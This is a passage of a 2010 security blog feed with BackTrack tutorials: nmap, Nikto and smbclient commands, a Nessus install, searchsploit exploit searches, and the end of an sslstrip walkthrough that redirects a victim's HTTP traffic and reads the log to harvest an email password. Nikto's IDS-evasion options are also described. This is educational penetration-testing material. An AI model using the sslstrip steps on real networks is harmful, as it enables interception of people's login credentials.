nat -A PREROUTING -p tcp  --destination-port 80 -j REDIRECT --to-ports 10000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step3&lt;/b&gt;, run sslstrip&lt;br /&gt;#&lt;span style=&quot;color: lime;&quot;&gt;sslstrip -w secret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;secret is file name that i want to save the results to a log file&lt;br /&gt;from victim PC, open login to email &lt;br /&gt;now use&lt;span style=&quot;color: #f1c232;&quot;&gt; less secret&lt;/span&gt;  command to read the log file&lt;br /&gt;search for email address and password&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsyF2H8M2GhwLC_vTDn9gxqd4HYSGOvi7KEaxQ_pmZykCcWiQ-ypF677eqKQk0xk8dclZVUbEcE2_Qyi2RfqD-NrG4FPLT314Vxot-Me0xZGIGHAUViriej_acjVgrX2hW_w1kMPRRxb8/s1600-h/ssl2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsyF2H8M2GhwLC_vTDn9gxqd4HYSGOvi7KEaxQ_pmZykCcWiQ-ypF677eqKQk0xk8dclZVUbEcE2_Qyi2RfqD-NrG4FPLT314Vxot-Me0xZGIGHAUViriej_acjVgrX2hW_w1kMPRRxb8/s320/ssl2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;if the log file is too long and if you want to search for a particular  user id, use the following command&lt;br /&gt;&lt;span style=&quot;color: lime;&quot;&gt;#less secret&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: lime;&quot;&gt;#/infosec.tutorials&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;infosec.tutorials@gmail.com is the email address i used&lt;br /&gt;&lt;br /&gt;Below image of gmail account infosec.tutorials@gmail.com, password field i have removed</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/800722829703183049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/how-to-decrypt-https-passwords.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/800722829703183049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/800722829703183049'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/how-to-decrypt-https-passwords.html' title='How to decrypt https passwords'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY798ryoBgQpUIFVX0_Pr9IBAOyqK_mbjFPHMmn_1tvFvmm4_zD4VeWZ7ew3BtngTmXd3U-eVT1r3aByx_bDcHNxWE0wMvumMlc4awoknm931-OA5rR_TpEj2HBhdkaV_75c4ckpPs4ik/s72-c/Drawing1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-473843097249716335</id><published>2010-02-07T23:02:00.000-08:00</published><updated>2010-03-18T02:49:37.120-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Exploitdb navigation"/><title type='text'>Exploitdb navigation</title><content type='html'>Updating:&lt;br /&gt;&lt;br /&gt;This can be done either in the menu -&gt; Backtrack -&gt; Penetration -&gt; ExploitDB -&gt; Update Exploitdb&lt;br /&gt;&lt;br /&gt;Looking for ms08-067&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 204, 0);&quot;&gt;root@bt:/pentest/exploits/exploitdb# ./searchsploit ms08-067&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Looking for Apache exploits on Windows platform:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 204, 0);&quot;&gt;root@bt:/pentest/exploits/exploitdb# ./searchsploit apache windows&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Looking for Adobe 9.1.2 exploit and copying it to our root directory and renaming it to adobe:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 204, 0);&quot;&gt;root@bt:/pentest/exploits/exploitdb# ./searchsploit adobe 9.1.2&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/473843097249716335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/exploitdb-navigation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/473843097249716335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/473843097249716335'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/exploitdb-navigation.html' title='Exploitdb navigation'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-8594111651706489197</id><published>2010-02-07T23:00:00.000-08:00</published><updated>2010-03-18T02:49:36.950-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="nmap commands"/><title type='text'>nmap commands</title><content type='html'>1. Nmap Range of IP addressess:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap 192.168.0.1-10&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Nmap Range of ports:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -p 1-1024 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Nmap service version detection:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -sV 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Nmap OS version detection:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -A 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. Nmap external script checks&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -sC 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6. Nmap scan without ping check (sometimes ping is blocked but you still  want to scan)&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -PN 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7. Nmap scan only scanning known ports (fast scan)&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -F 192.168.1.1&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -T Aggressive -sV -0 -v 192.168.1.1&lt;br /&gt;nmap -T Aggressive -sV -P0 192.168.1.1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/8594111651706489197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/nmap-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8594111651706489197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8594111651706489197'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/nmap-commands.html' title='nmap commands'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-8332427407663011945</id><published>2010-02-07T22:58:00.000-08:00</published><updated>2010-03-18T02:49:37.049-07:00</updated><title type='text'>Accessing an SMB Share With Linux Machines</title><content type='html'>To see which shares are available on a given host, run:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;/usr/bin/smbclient -L host&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where &#39;host&#39; is the name of the machine that you wish to view.&lt;br /&gt;&lt;br /&gt;The browse list shows other SMB servers with resources to share on the network&lt;br /&gt;To use the client, run:&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;/usr/bin/smbclient service&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where &#39;service&#39; is a machine and share name. For example, if you are trying to reach a directory that has been shared as &#39;public&#39; on a machine called zimmerman, the service would be called \\zimmerman\public. However, due to shell restrictions, you will need to escape the backslashes, so you end up with something like this:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;/usr/bin/smbclient \\\\zimmerman\\public mypasswd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where &#39;mypasswd&#39; is the literal string of your password.&lt;br /&gt;&lt;br /&gt;You will get the smbclient prompt:&lt;br /&gt;&lt;br /&gt;Server time is Sat Aug 10 15:58:44 1996&lt;br /&gt;&lt;br /&gt;Timezone is UTC+10.0&lt;br /&gt;Domain=[WORKGROUP] OS=[Windows NT 3.51] Server=[NT LAN Manager 3.51]&lt;br /&gt;smb: \&amp;gt;&lt;br /&gt;&lt;br /&gt;Type &#39;h&#39; to get help using smbclient:&lt;br /&gt;smb: \&amp;gt; h</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/8332427407663011945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/accessing-smb-share-with-linux-machines.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8332427407663011945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/8332427407663011945'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/accessing-smb-share-with-linux-machines.html' title='Accessing an SMB Share With Linux Machines'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-7192507781002853760</id><published>2010-02-07T22:56:00.000-08:00</published><updated>2010-03-18T02:49:36.990-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="software"/><title type='text'>Install Nessus to Back Track</title><content type='html'>download nessus and follow the steps to install nessus on backtrack&lt;br /&gt;&lt;br /&gt;1. install package using the following command&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;dpkg -i Nessus-4.2.0-ubuntu810_i386.deb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. add user to nessus&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;/opt/nessus/sbin/nessus-adduser&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. register in nessus website and obtain a activation key, and activate your installation&lt;br /&gt;&lt;br /&gt;4. Start nessus server&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;/etc/init.d/nessusd start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. start client web interface&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;https://127.0.0.1:8834/ &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/7192507781002853760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/install-nessus-to-back-track.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7192507781002853760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7192507781002853760'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/install-nessus-to-back-track.html' title='Install Nessus to Back Track'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-4674239073712591269</id><published>2010-02-07T22:45:00.000-08:00</published><updated>2010-03-25T05:21:41.779-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Web Scanning"/><title type='text'>Nikto Web Scanning</title><content type='html'>== Basic scanning ==&lt;br /&gt;
&lt;a href=&quot;http://cirt.net/nikto2-docs/&quot;&gt;manual&lt;/a&gt;&lt;br /&gt;
The most basic Nikto scan requires a simply host to target, since port 80 is assumed if none is specified. The host can either be an Ip or a host name of a machine, and is specified using the -h (-host) option. The following will scan the IP 192.168.01 on TCP port 90&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h 192.168.0.1&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
To check on a different port, specifiy the port number with the -p (-port) option&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h 192.168.0.1 -p 443&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Host, ports, and protocols may also be specified by using a full URL syntax&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h https://192.168.0.1:443/&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;== Multiple Port Testing ==&lt;/span&gt;&lt;br /&gt;
Nikto can scan multiple ports in the same scanning session. To test more than one port on the same host, specify the list of ports in the -p option. Ports can be specified as range (ie: 80-90), or as a comma-delimited list, (i.e, 80,88,90)&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h 192.168.0.1 -p 80,88,443&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;== Multiple Host Testing ==&lt;/span&gt;&lt;br /&gt;
Nikto support scanning multiple hosts in the same session via a text file of host names or IPs. Instead of giving a host name or IP for the -h (-host) option, a file name can be given. A file of hosts must be formatted as one host per line, with the port number(s) at the end of each line. Portss can be seperated from the host and other ports via colon or a comma. If no ports specified, port 80 will be assumed.&lt;br /&gt;
&lt;br /&gt;
Example of a valid hosts file&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;192.168.1.1:80&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;https://192.168.2.2:8080&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;192.168.2.2&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;nikto.pl 192.168.1.1 -e 1 -Display V&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A host file may also be an nmap output in &quot;greppable&quot; format (i.e from the output from -oG)&lt;br /&gt;
&lt;br /&gt;
A file may be passed to Nikto through stdout/stdin using &quot;-&quot; as the filename. for example&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;nmap -p80 192.168.1.1/24 -oG | nikto.pl -h -&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;== Using a Proxy ==&lt;/span&gt;&lt;br /&gt;
If the machine running Nikto only has access to the target host (or update server) via an HTTP proxy, the test still can be performed. Set the proxy variable, then execute Nikto with -u (-useproxy) command. All connections will be relayed through the HTTP proxy specified in the configuration file&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h 192.168.1.1 -p 80 -u&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;== Updating ==&lt;/span&gt;&lt;br /&gt;
Nikto can be automatically updated assuming you have internet connectivity from the host nikto is installed on. To update to the latest plugins and database, simply run the Nikto command with the -update command&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33ff33;&quot;&gt;perl nikto.pl -update&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
== All Options ==&lt;br /&gt;
&lt;br /&gt;
Below are all the nikto command line options and explanations.&lt;br /&gt;
&lt;br /&gt;
-Cgidirs&lt;br /&gt;
Scan these CGI directories. Special words &quot;none&quot; or &quot;all&quot; may be used to scan all CGI directories or none, (respectively). A literal value for a CGI directory such as &quot;/cgi-test&quot; may be specified (must include trailing slash). If this option is not specified, all CGI directories listed in config.txt will be tested&lt;br /&gt;
&lt;br /&gt;
-config&lt;br /&gt;
Specify an alternative config file to use instead of the config.txt located in the install directory.&lt;br /&gt;
&lt;br /&gt;
-dbcheck&lt;br /&gt;
Check the scan database for syntax errors&lt;br /&gt;
&lt;br /&gt;
-Display&lt;br /&gt;
Control the output that Nikto shows. Use the reference number or letter to specify the type, multiple maybe used&lt;br /&gt;
&lt;br /&gt;
1. Show redirects&lt;br /&gt;
2. Show cookies recieved&lt;br /&gt;
3. Show all 200/OK responses&lt;br /&gt;
4. Show URLs which require authentication&lt;br /&gt;
D. Debug output&lt;br /&gt;
V. Verbose Output&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;-evasion&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
Specify the LibWhisker IDS evasion technique to use. Use the reference number to specify the type, multiple may be used&lt;br /&gt;
&lt;br /&gt;
1. Random URI encoding (non-URF8)&lt;br /&gt;
2. Directory self-reference (/./)&lt;br /&gt;
3. Premature URL ending&lt;br /&gt;
4. Prepend long random string&lt;br /&gt;
5. Fake parameter&lt;br /&gt;
6. TAB as request spacer&lt;br /&gt;
7. Change the case of the URL&lt;br /&gt;
8. Use Windows directory seperator (\)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;perl nikto.pl -h 192.168.5.103 -evasion 1 &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-findonly&lt;br /&gt;
Only discover the HTTP(S) ports. do not perform a security scan. This will attempt to connect with HTTP or HTTPS, and report the server header.&lt;br /&gt;
&lt;br /&gt;
-Format&lt;br /&gt;
Save the outpout file specified with -o(-output) option in this format. If not specified default is &quot;txt&quot;. valid formats are&lt;br /&gt;
csv - a comma-seperated list&lt;br /&gt;
htm - an HTML report&lt;br /&gt;
txt - a text report&lt;br /&gt;
xml - an XML report&lt;br /&gt;
&lt;br /&gt;
-host&lt;br /&gt;
Host(s) to target. can be an IP address, hsotname or text file of hosts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-id&lt;br /&gt;
&lt;br /&gt;
ID and password to use for host Basic host authentication. Format is &quot;id:password&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strong&gt;-mutate&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Specify mutation technique. A mutation will cause Nikto to combine tests or attempt to guess values. These techniques may cause a tremendous amount of tests to be launched against the target. Use the reference number to specify the type, multiple may be used:&lt;br /&gt;
1 - Test all files with all root directories&lt;br /&gt;
2 - Guess for password file names&lt;br /&gt;
3 - Enumerate user names via Apache (/~user type requests)&lt;br /&gt;
4 - Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)&lt;br /&gt;
5 - Attempt to brute force sub-domain names, assume that the host name is the parent domain&lt;br /&gt;
6 - Attempt to guess directory names from the supplied dictionary file&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-mutate-options&lt;br /&gt;
&lt;br /&gt;
Provide extra information for mutates, e.g. a dictionary file&lt;br /&gt;
&lt;br /&gt;
-nolookup&lt;br /&gt;
Do not perform name lookups on IP addresses.&lt;br /&gt;
&lt;br /&gt;
-nossl&lt;br /&gt;
Do not use SSL to connect to the server.&lt;br /&gt;
&lt;br /&gt;
-no404&lt;br /&gt;
Disable 404 (file not found) checking. This will reduce the total number of requests made to the webserver and may be preferable when checking a server over a slow link, or an embedded device. This will generally lead to more false positives being discovered.&lt;br /&gt;
&lt;br /&gt;
-output&lt;br /&gt;
Write output to the file specified. Format is defined in -F (-Format), default is text. Existing files will have new information appended.&lt;br /&gt;
&lt;br /&gt;
-port&lt;br /&gt;
TCP port(s) to target. To test more than one port on the same host, specify the list of ports in the -p (-port) option. Ports can be specified as a range (i.e., 80-90), or as a comma-delimited list, (i.e., 80,88,90). If not specified, port 80 is used.&lt;br /&gt;
&lt;br /&gt;
-Pause&lt;br /&gt;
Seconds to delay between each test.&lt;br /&gt;
&lt;br /&gt;
-root&lt;br /&gt;
Prepend the value specified to the beginning of every request. This is useful to test applications or web servers which have all of their files under a certain directory.&lt;br /&gt;
&lt;br /&gt;
-ssl&lt;br /&gt;
Only test SSL on the ports specified. Using this option will dramatically speed up requests to HTTPS ports, since otherwise the HTTP request will have to timeout first.&lt;br /&gt;
&lt;br /&gt;
-Single&lt;br /&gt;
Perform a single request to a target server. Nikto will prompt for all options which can be specified, and then report the detailed output. See Chapter 5 for detailed information.&lt;br /&gt;
&lt;br /&gt;
-timeout&lt;br /&gt;
Seconds to wait before timing out a request. Default timeout is 10 seconds.&lt;br /&gt;
&lt;br /&gt;
-useproxy&lt;br /&gt;
&lt;br /&gt;
Use the HTTP proxy defined in the configuration file.&lt;br /&gt;
&lt;br /&gt;
-update&lt;br /&gt;
Update the plugins and databases directly from cirt.net.&lt;br /&gt;
&lt;br /&gt;
-Version&lt;br /&gt;
Display the Nikto software, plugin and database versions.&lt;br /&gt;
&lt;br /&gt;
-vhost&lt;br /&gt;
Specify the Host header to be sent to the target&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-Tuning&lt;br /&gt;
Tuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the &quot;x&quot; option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used:&lt;br /&gt;
0 - File Upload&lt;br /&gt;
1 - Interesting File / Seen in logs&lt;br /&gt;
2 - Misconfiguration / Default File&lt;br /&gt;
3 - Information Disclosure&lt;br /&gt;
4 - Injection (XSS/Script/HTML)&lt;br /&gt;
5 - Remote File Retrieval - Inside Web Root&lt;br /&gt;
6 - Denial of Service&lt;br /&gt;
7 - Remote File Retrieval - Server Wide&lt;br /&gt;
8 - Command Execution / Remote Shell&lt;br /&gt;
9 - SQL Injection&lt;br /&gt;
a - Authentication Bypass&lt;br /&gt;
b - Software Identification&lt;br /&gt;
c - Remote Source Inclusion&lt;br /&gt;
x - Reverse Tuning Options (i.e., include all except specified)&lt;br /&gt;
The given string will be parsed from left to right, any x characters will apply to all characters to the right of the character.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;perl nikto.pl -h 192.168.1.1 -T 58&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If an &#39;x&#39; is passed to -T then this will negate all tests of types following the x. This is useful where a test may check several different types of exploits. For example&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #f1c232;&quot;&gt;perl nikto.pl -h 192.168.1.1 -T 58xb&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strong&gt;== Mutation Technique ==&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A mutation will cause Nikto to combine tests or attempt to guess values. These techniques may cause a tremendous amount of tests to be launched against the target. Use the reference number to specify the type, multiple may be combined.&lt;br /&gt;
&lt;br /&gt;
1. &lt;span style=&quot;color: #6fa8dc;&quot;&gt;Test all files with all root directories&lt;/span&gt;. This takes each test and splits it into a list of files and directories. A scan list is then created by combining each file with each directory.&lt;br /&gt;
2. &lt;span style=&quot;color: #3d85c6;&quot;&gt;Guess for password file names&lt;/span&gt;. Takes a list of common password file names (such as &quot;passwd&quot;, &quot;pass&quot;, &quot;password&quot;) and file extensions (&quot;txt&quot;, &quot;pwd&quot;, &quot;bak&quot;, etc.) and builds a list of files to check for.&lt;br /&gt;
3. &lt;span style=&quot;color: #6fa8dc;&quot;&gt;Enumerate user names via Apache&lt;/span&gt; (/~user type requests). Exploit a misconfiguration with Apache UserDir setups which allows valid user names to be discovered. This will attempt to brute-force guess user names. A file of known users can also be supplied by supplying the file name in the -mutate-options parameter.&lt;br /&gt;
4. &lt;span style=&quot;color: #3d85c6;&quot;&gt;Enumerate user names via cgiwrap&lt;/span&gt; (/cgi-bin/cgiwrap/~user type requests). Exploit a flaw in cgiwrap which allows valid user names to be discovered. This will attempt to brute-force guess user names. A file of known users can also be supplied by supplying the file name in the -mutate-options parameter.&lt;br /&gt;
5. &lt;span style=&quot;color: #6fa8dc;&quot;&gt;Attempt to brute force sub-domain names&lt;/span&gt;. This will attempt to brute force know domain names, it will assume the given host (without a www) is the parent domain.&lt;br /&gt;
6. &lt;span style=&quot;color: #6fa8dc;&quot;&gt;Attempt to brute directory names.&lt;/span&gt; This is the only mutate option that requires a file to be passed in the -mutate-options parameter. It will use the given file to attempt to guess directory names. Lists of common directories may be found in the OWASP DirBuster project.</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/4674239073712591269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/nikto-web-scanning.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/4674239073712591269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/4674239073712591269'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/nikto-web-scanning.html' title='Nikto Web Scanning'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-7403821550847322649</id><published>2010-02-07T22:42:00.000-08:00</published><updated>2010-03-18T02:49:37.073-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basics"/><title type='text'>Backtrack Basic Config</title><content type='html'>&lt;b style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Assign Static IP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;ifconfig eth0 192.168.0.4/24&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt; route add default gw 192.168.0.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt; echo nameserver 192.168.0. 200 &amp;gt; /etc/resolv.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Apache&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You can control the apache server using the apachectl stop / start  commands&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;apachectl start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;SSHD&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The SSH server can be very useful in various situations, such as SSH  tunneling SCP file transfer, remote access etc.&lt;br /&gt;&lt;br /&gt;Before the SSH server is started for the first time, SSH keys need to be  generated.&lt;br /&gt;To start the SSHD server, issue the following command&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;#sshd-generate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can verify that the server is up and listening using the netstat  command&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;#netstat -ant | grep 22&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;Tftpd&lt;/span&gt;&lt;br /&gt;A Tftpd server can be useful in situations in which you need to transfer  files to or from a victim machine.&lt;br /&gt;&lt;br /&gt;To start the tftpd, issue the following command&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;#atftpd --daemon --port 69 /tmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Verify if tftpd is running&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;netstat -anu | grep 69&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;VNC Server&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A VNC Server is useful for remote desktop sharing or for sending remote  reverse VNC connections from an attacked machine.&lt;br /&gt;&lt;br /&gt;To start the VNC Server simply type vncserver. You will be prompted for a  password and VNC server will open on port 5901&lt;br /&gt;&lt;br /&gt;&lt;span 